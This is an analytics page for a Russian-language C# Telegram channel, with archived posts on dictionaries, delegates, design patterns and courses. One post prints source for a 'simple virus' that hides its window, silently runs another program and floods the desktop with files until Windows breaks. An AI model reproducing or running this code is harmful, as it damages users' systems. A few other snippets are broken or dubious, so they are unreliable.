ru
Feedback
C# (C Sharp) programming

C# (C Sharp) programming

Открыть в Telegram

📈 Аналитический обзор Telegram-канала C# (C Sharp) programming

Канал C# (C Sharp) programming (@csharp_ci) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 18 144 подписчиков, занимая 7 070 место в категории Технологии и приложения и 36 441 место в регионе Россия.

📊 Показатели аудитории и динамика

С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 18 144 подписчиков.

Согласно последним данным от 01 сентября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -54, а за последние 24 часа — 20, при этом общий охват остаётся высоким.

  • Статус верификации: Не верифицирован
  • Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 13.79%. В первые 24 часа после публикации контент обычно набирает 7.32% реакций от общего числа подписчиков.
  • Охват публикаций: В среднем каждый пост получает 2 503 просмотров. В течение первых суток публикация набирает 1 329 просмотров.
  • Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 0.
  • Тематические интересы: Контент сосредоточен на ключевых темах, таких как .net, api, логика, архитектура, string.

📝 Описание и контентная политика

Автор описывает ресурс как площадку для выражения субъективного мнения:
По всем вопросам- @notxxx1 Реестр РКН: https://clck.ru/3Fk3kb #VRHSZ

Благодаря высокой частоте обновлений (последние данные получены 02 сентября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.

18 144
Подписчики
+2024 часа
+77 дней
-5430 дней
Архив постов
🖥Ускоряем Dictionary в C# при помощи структур и CollectionsMarshal Как C# разработчик, вы по-любому знаете класс Dictionary.
+2
🖥Ускоряем Dictionary в C# при помощи структур и CollectionsMarshal Как C# разработчик, вы по-любому знаете класс Dictionary. В качестве значений вы, скорее всего, использовали классы. А знаете ли вы, что в Dictionary можно использовать структуры? Не стоит бояться того, что структуры копируются при передаче в метод или возврате из него. Есть способ этого избежать, и это работает быстро. Собственно, об этом и говорится в статье, а вот некоторые выводы из неё: 🟡Структуры — недооценённые элементы C#, которые, при определённых условиях, способны ускорить ваше приложение. 🟡При использовании структур в качестве значений для Dictionary лучше воспользоваться классом CollectionsMarshal. 🟡Методы этого класса GetValueRefOrAddDefault и GetValueRefOrNullRef позволяют получать элементы словаря по ссылке. Это, в свою очередь, может положительно сказаться на производительности кода при относительно большом количестве операций поиска в словаре. 📎 Статья @csharp_ci

🔥Подборка лучших обучающих каналов для программистов. ➡️ Делитесь с коллегами и сохраняйте себе, чтобы не потерять ⚡Машинное обучение Machine Learning - запускаем лучшие ИИ модели, пишем код, погружаемся в нейросети Ml Собеседование - подготовка к собесу по мл, алгоритмам, коду Ml ru - актуальные статьи, новости, код и обучающие материалы Ml Jobs - вакансии ML ML Книги - актуальные бесплатные книги МО ML чат 🏆 Golang Golang - изучи один из самых перспективных языков на ит-рынке Golang собеседование - разбор задач и вопросов с собесов Golang вакансии -работа для Go разработчика Golang книги библиотека книг Golang задачи и тесты Golang чат Golang news - новости из мира go Golang дайджест 💥 Linux /Этичный хакинг Linux Academy - гайды, секреты и лучшие материалы по Linux Kali linux - погрузись в мир этичного хакинга и кибербезопасности linux_kal - kali чат Информационная безопасность 🚀 Data Science Анализ данных - полезные фишки, код, гайды и советы, маст-хэв датасаентиста Data Jobs - ds вакансии Аналитик данных Data Science книги - актуальные бесплатные книги Big data 🛢Базы данных Sql базы данных - научим работе с базами данных профессионально Библиотека баз данных SQL чат Вакансии Sql аналитик данных #️⃣C# С# академия - лучший канал по c# С# заметки — код, лучшие практики, заметки программиста c# С# задачи и тесты С# библиотека - актуальные бесплатные книги C# вакансии - работа 🐍 Python Python/django - самый крупный обучающий канал по Python Python Собеседование - подготовка к собеседовению python и разбор алгоритмов Pro python - статьи, новости, код и обучающие материалы Python Jobs - вакансии Python Python чат Python книги ☕ Java Java академия - java от Senior разработчика Java вакансии Java чат Java вопросы с собеседований Java книги 💻 C++ C++ академия С++ книги C++ задачи - подготовка к собеседовению мл, алгоритмам C++ вакансии ⚡️ Frontend Javascript академия - крупнейший js канал React - лучшие гайды и советы по работе с react Frontend - тутрориалы, уроки, гайды, код PHP Книги frontend Задачи frontend 🦀 Rust Rust программирование Rust чат Rust книги для программистов 📲 Мобильная разработка Android разработка Мобильный разработчик гайды и уроки 🇬🇧 Английский для программистов 🧠 Искусственный интеллект ИИ и технологии Neural - нейросети для работы и жизни Книги ИИ Artificial Intelligence 🔥 DevOPs Devops для программистов Книги Devops 🌟 Docker/Kubernets Docker Kubernets 📓 Книги Библиотеки Книг для программситов 💼 Папка с вакансиями: Папка Go разработчика: Папка Python разработчика: Папка Data Science Папка Java разработчика Папка C# Папка Frontend

🖥 10 простых и не очень однострочников на C# ⏩Удваивание всех чисел в списке Print("Multiple each item in a list by 2", Enum
🖥 10 простых и не очень однострочников на C#Удваивание всех чисел в списке
Print("Multiple each item in a list by 2", Enumerable.Range(1, 10).Select(i => i * 2));
Сумма списка чисел
Print("Sum a list of numbers", Enumerable.Range(1, 1000).Sum());
Проверка вхождения подстроки
var wordlist = new[] { "C#", "and stuff" };
var tweet = "This is an example tweet talking about C# and stuff";
Print("Verify if a word exists in string", wordlist.Any(word => tweet.IndexOf(word) > -1));
Print("Show matched words in string", wordlist.Where(word => tweet.IndexOf(word) > -1));
Чтение файла
Print("Read in a File", File.ReadAllBytes("oneliners.exe").Length);
С днём рожденья
Print("Happy Birthday", Enumerable.Range(1, 4).Select((i) => string.Format("Happy Birthday {0} ", i == 3 ? "dear NAME" : "to You")));
Фильтрация списка чисел
var passed = new List<int>();
var failed = new List<int>();

(from bucket in new[] { passed, failed } from i in new[] { 49, 58, 76, 82, 88, 90 } select new { bucket, i }).ToList().ForEach((tuple) => tuple.bucket.AddRange(Enumerable.Repeat(tuple, 1).Where((tup) => (tup.bucket == passed && tup.i > 60) || (tup.bucket == failed && tup.i <= 60)).Select((tup) => tup.i)));
Print("Filter list of numbers >60", (IEnumerable<int>)passed);
Print("Filter list of numbers <=60", (IEnumerable<int>)failed);
Получение и разбор XML от веб-сервиса
Print("Fetch and Parse an XML web service", XDocument.Load("http://search.twitter.com/search.atom?&q=scala"));
Поиск минимума и максимума в списке
Print("Find minimum in a list", Enumerable.Min(new[] { 14, 35, -7, 46, 98 }));
Print("Find maximum in a list", Enumerable.Max(new[] { 14, 35, -7, 46, 98 }));
Параллельная обработка
Print("Parallel Processing", Enumerable.Range(1, 10).AsParallel().Select((i)=>i*2).AsEnumerable());
FizzBuzz
Print("Fizzbuzz", Enumerable.Range(1, 15).Select((i)=>i + (i%3==0?"fizz":"") + (i%5==0?"buzz":"")));
@csharp_ci

Бесплатный курс для middle C#-разработчиков от Ozon На курсе Route 256 инженеры Ozon расскажут про самые современные технолог
Бесплатный курс для middle C#-разработчиков от Ozon На курсе Route 256 инженеры Ozon расскажут про самые современные технологии, а также поделятся своим опытом разработки микросервисов. Будут лекции, воркшопы, код-ревью домашних заданий и профессиональное комьюнити. Курс рассчитан на разработчиков с опытом от 3 лет, в конце Ozon предлагает офферы лучшим выпускникам. Чтобы попасть на курс, нужно пройти отборочный контест 5 мая. Узнать подробности и подать заявку

Что выведет на экран этот код?
Anonymous voting

#ПятничныйКвиз #ПрощеНекуда
#ПятничныйКвиз #ПрощеНекуда

🖥 Необходимо определить делегат и реализовать метод ⏩Итак, вот задание: определить делегат bool CounterHashSetDelegate(int a
🖥 Необходимо определить делегат и реализовать метод ⏩Итак, вот задание: определить делегат bool CounterHashSetDelegate(int a) и реализовать метод int Function12(HashSet<int> intSet, CounterHashSetDelegate filter), который возвращает количество элементов из intSet, которые удовлетворяют условию filter.
public static  class 
{
public delegate bool CounterHashSetDelegate(int a);
public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
{
 
    int count = 0;
    foreach (int i in intSet)
    {
        if(filter(i))
                    count++;
}
return count;
}
}
⏩Давайте сразу к сути, решение может выглядеть так:
public delegate bool CounterHashSetDelegate(int a);

class Program
{
   static void Main(string[] args)
   {
       CounterHashSetDelegate d = IsEvenNum;

       Console.WriteLine($"Количество четных элементов:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");

       d = IsGreaterThen;

       Console.WriteLine($"Количество  элементов > 2:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");

       Console.ReadKey();
   }

   public static bool IsEvenNum(int a)
   {
       return a % 2 == 0;// четное ли число например
   }

   public static bool IsGreaterThen(int a)
   {
       return a > 2;//больше  ли  например
   }


   public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
   {

       int count = 0;
       foreach (int i in intSet)
       {
           if (filter(i))
           {
               count++;
           }
       }
       return count;
   }

}
Вот и все дела @csharp_ci

🖥 Блеск и нищета паттерна «Спецификация» в С#. Оцениваем планы запросов ⏩Держите годный контент. О чём статья? О паттерне «С
🖥 Блеск и нищета паттерна «Спецификация» в С#. Оцениваем планы запросов ⏩Держите годный контент. О чём статья? О паттерне «Спецификация», который позволяет улучшить структуру приложения, и, следовательно, увеличить гибкость, уменьшив при этом объем кода, а значит - сократить количество ошибок, но это не точно. ⏩Из статьи напрашивается такой очевидный вывод: паттерн «Спецификация» выгоднее всего использовать там, где модели состоят из нескольких десятков или сотен полей и к ним нужно применять сложные критерии фильтрации данных. 📎 Статья @csharp_ci

Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов На практическо
Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов На практическом уроке «Масштабируемая архитектура для систем обработки платежей». На вебинаре: - рассмотрим решение задачи по построению масштабируемой отказоустойчивой системы обработки платежей; - обсудим применения шардирования, паттерна Saga, двухфазного коммита и выбор уровня изоляции транзакций; - получим описание верхнеуровневой архитектуры. Занятие пройдёт 24 апреля в 20:00 мск в рамках курса «Microservice Architecture». Доступна рассрочка на обучение! 👉 Чтобы посетить открытый урок, зарегистрируйтесь: https://otus.pw/LG6se/?erid=LjN8KC4V4

🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly Как видно из бенчмарков, это сейчас вообще самый
🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly Как видно из бенчмарков, это сейчас вообще самый быстрый сервер структур данных на всём диком западе: Практически полностью совместим с Redis на уровне API, но при этом: ⏩Имеет либеральную MIT лицензию, как и все последние крупные проекты MS, и этим крайне выгодно отличается от Redis ⏩Написан на C#, и позволяет удобно расширять сервер ⏩Делает по производительности и Redis, написанный на C, и Dragonfly написанный на C++ 🖥 GitHub @csharp_ci

🖥 Делегаты C# Объект дня — делегаты Давайте вспомним и освежим основную инфу ⏩Делегат — это объект, который может ссылаться
🖥 Делегаты C# Объект дня — делегаты Давайте вспомним и освежим основную инфу ⏩Делегат — это объект, который может ссылаться на метод или несколько методов. Следовательно, когда создается делегат, то в итоге получается объект, содержащий ссылку на метод. Иными словами, делегат позволяет вызывать метод, на который он ссылается. ⏩По сути, делегат — это безопасный в отношении типов объект, указывающий на другой метод (или, возможно, список методов) приложения, который может быть вызван позднее. В частности, объект делегата поддерживает 3 важных фрагмента информации: — адрес метода, на котором он вызывается — аргументы (если есть) этого метода — возвращаемое значение (если есть) этого метода ⏩Пример использования делегата на изображении. Делегат — это по сути очередь в которую можно добавить сколько угодно методов. При выполнении train += Wagon2; мы добавляем 2й вагон в очередь. Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции. @csharp_ci

Что выведет на экран этот код?
Anonymous voting

#ПятничныйКвиз #карательныйсишарп
#ПятничныйКвиз #карательныйсишарп

ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥 Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организ
ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥 Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организаций переводят свои IT-системы на микросервисную архитектуру. Но специалистов, которые глубоко понимают все тонкости и нюансы микросервисной архитектуры не так-то много. Самое время разобраться в микросервисной архитектуре и стать более востребованным специалистом. 🚀 Стартуем 9 апреля. Курс ведет действующий архитектор Кирилл Ветчинкин. Он успешно реализовал проекты с применением микросервисов для Мегафона, Теле2, ВСS Brокer, СберМаркет. Постоянный спикер крупных IT-конференций. На курсе вы: 📌 Изучите и отработаете более 20 паттернов микросервисной архитектуры 📌 Познакомитесь c Domain Driven Design 📌 Научитесь декомпозировать систему на микросервисы с помощью Event Storming и DDD Полная программа ТУТ https://microarch.ru/?utm_source=posev&utm_medium=erid:2VtzqwKifY2&utm_campaign=4 А самое главное — будет поддержка от эксперта, чат с одногруппниками и интересное практическое задание. Сертификат об участии по итогам прохождения курса. Курс ориентирован на системных аналитиков и разработчиков, которые хотят больше погрузиться в архитектуру современных IT систем. Узнай больше о курсе 👉 https://microarch.ru/?utm_source=posev&utm_medium=erid:2VtzqwKifY2&utm_campaign=4 Реклама. ИП Ветчинкин К.Е. ИНН: 773376451099 Erid: 2VtzqwKifY2

🖥 Пишем невероятно простой вирус на C# Всё в этом посте описано исключительно в образовательных целях Любой программист долж
🖥 Пишем невероятно простой вирус на C# Всё в этом посте описано исключительно в образовательных целях Любой программист должен написать свой маленький вирус. В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500 explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера). Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола. Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
 [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]

// Настройка нужных переменных
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
 static void Main()
 {

// Скрываем программу 
         var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
          Process pr = new Process();
                pr.StartInfo.FileName = "prog.exe";
                pr.StartInfo.Arguments = "-r";
                pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                pr.Start();
                pr.WaitForExit();
  int i=0;

// Сам вирус =)
  while(true){
   i=i+1;
  System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
        } 
 }
}
📎 Подробнее @csharp_ci

В этом году ШАД Яндекса увеличивает набор студентов на треть Отвечая на растущий запрос рынка на сильных ML-специалистов, Шко
+6
В этом году ШАД Яндекса увеличивает набор студентов на треть Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77%  устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие. Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь. @csharp_ci

🖥 Округление при преобразовании double в decimal ⏩При достаточно больших значениях double (с заданной целой частью) при его
🖥 Округление при преобразовании double в decimal ⏩При достаточно больших значениях double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649
Почему так происходит? Можно ли как то преобразовать без округления? ⏩Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм. 41-45 округляется к 40, 46-49 округляется к 50. Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется. Преобразовать без округления можно только так:
decimal result2 = (long)d;
@csharp_ci

🖥 Декоратор — описание паттерна с примером на C# Декоратор — это структурный паттерн, который позволяет добавлять объектам н
+2
🖥 Декоратор — описание паттерна с примером на C# Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки. Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных. А вот некоторые мысли из статьи: ⏩Декоратор может решать, к примеру, такую проблему: пользователи хотят получать оповещения о критических проблемах через разные каналы ⏩То, что делает декоратор, в некоторых случаях можно получить через наследование Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно ⏩Альтернатива наследованию - агрегация или композиция, которые позволяют одному объекту делегировать работу другому ⏩Декораторы имеют общий интерфейс, что позволяет клиенту работать с обёрнутыми объектами без изменения кода 📎 Статья 📎 Пример на C# @csharp_ci

🖥 Разбор разных практик тестирования в C# Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
🖥 Разбор разных практик тестирования в C# Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон Что именно рассматривается в видео? ⏩Тестирование и качество связаны с исследованием и испытанием программного продукта. ⏩Автоматизация тестирования имеет преимущества, но может быть сложной в разработке и поддержке. ⏩Определение количества и процента охвата теста рекомендуется на уровне 80%. ⏩Графики тестирования и качество продукта обсуждаются, и автоматизированное тестирование может быть более эффективным в долгосрочной перспективе. 📎 Кликабельный план видео 📎 YouTube @csharp_ci

erid: LjN8JzPej Привет! Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разраб
erid: LjN8JzPej Привет! Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разрабатывать прикладной искусственный интеллект. Недавно мы завели аккаунт, где делимся своим опытом, даём советы для успешной карьеры, рассказываем об интересных событиях из нашей жизни и, конечно, публикуем вакансии. Обещаем, что будет очень полезно и совсем не душно — подписывайся!